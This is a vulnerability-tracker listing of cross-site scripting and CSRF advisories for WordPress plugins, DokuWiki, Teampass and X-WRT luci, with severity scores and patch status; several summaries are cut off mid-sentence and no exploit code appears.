The Hostel WordPress plugin before 1.1.5.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Hostel +1
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The WP Multi Store Locator WordPress plugin through 2.4 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Multi Store Locator +1
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

DokuWiki before 2023-04-04a allows XSS via RSS titles. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Dokuwiki
NVD GitHub
EPSS 1% CVSS 9.0
CRITICAL POC PATCH Act Now

Cross-site Scripting (XSS) - Stored in GitHub repository nilsteampassnet/teampass prior to 3.0.9. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Teampass
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM This Month

Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Don8
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

A vulnerability, which was classified as problematic, has been found in X-WRT luci up to 22.10_b202303061504.uc of the component 404 Error Template Handler. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Luci
NVD GitHub VulDB
EPSS 1% CVSS 8.1
HIGH POC PATCH This Week

Cross-site Scripting (XSS) - Stored in GitHub repository nilsteampassnet/teampass prior to 3.0.9. Rated high severity (CVSS 8.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Teampass
NVD GitHub
EPSS 1% CVSS 8.7
HIGH POC PATCH This Week

Cross-site Scripting (XSS) - Stored in GitHub repository nilsteampassnet/teampass prior to 3.0.9. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Teampass
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM POC This Month

The Event Registration Calendar By vcita plugin, versions up to and including 3.9.1, and Online Payments - Get Paid with PayPal, Square & Stripe plugin, for WordPress are vulnerable to Stored. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Online Payments Get Paid With Paypal Square Stripe +3
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM POC This Month

The CRM and Lead Management by vcita plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'email' parameter in versions up to, and including, 2.6.2 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Crm And Lead Management By Vcita +2
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Contact Form and Calls To Action by vcita plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'email' parameter in versions up to, and including, 2.6.4 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Contact Form And Calls To Action By Vcita +2
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The Contact Form Builder by vcita plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 4.10.3. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Request Forgery (CSRF) vulnerability could allow attackers to trick authenticated users into performing unintended actions.

WordPress XSS CSRF +3
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Contact Form Builder by vcita plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'email' parameter in versions up to, and including, 4.9.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Contact Form Builder By Vcita +2
NVD VulDB
EPSS 1% CVSS 7.2
HIGH PATCH This Week

The Online Booking & Scheduling Calendar for WordPress by vcita plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'business_id' parameter in versions up to, and including,. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Online Booking Scheduling Calendar +2
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Page Builder by AZEXO plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'azh_post' shortcode in versions up to, and including, 1.27.133 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Page Builder With Image Map By Azexo +2
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
40978

Related CWEs

MITRE ATT&CK

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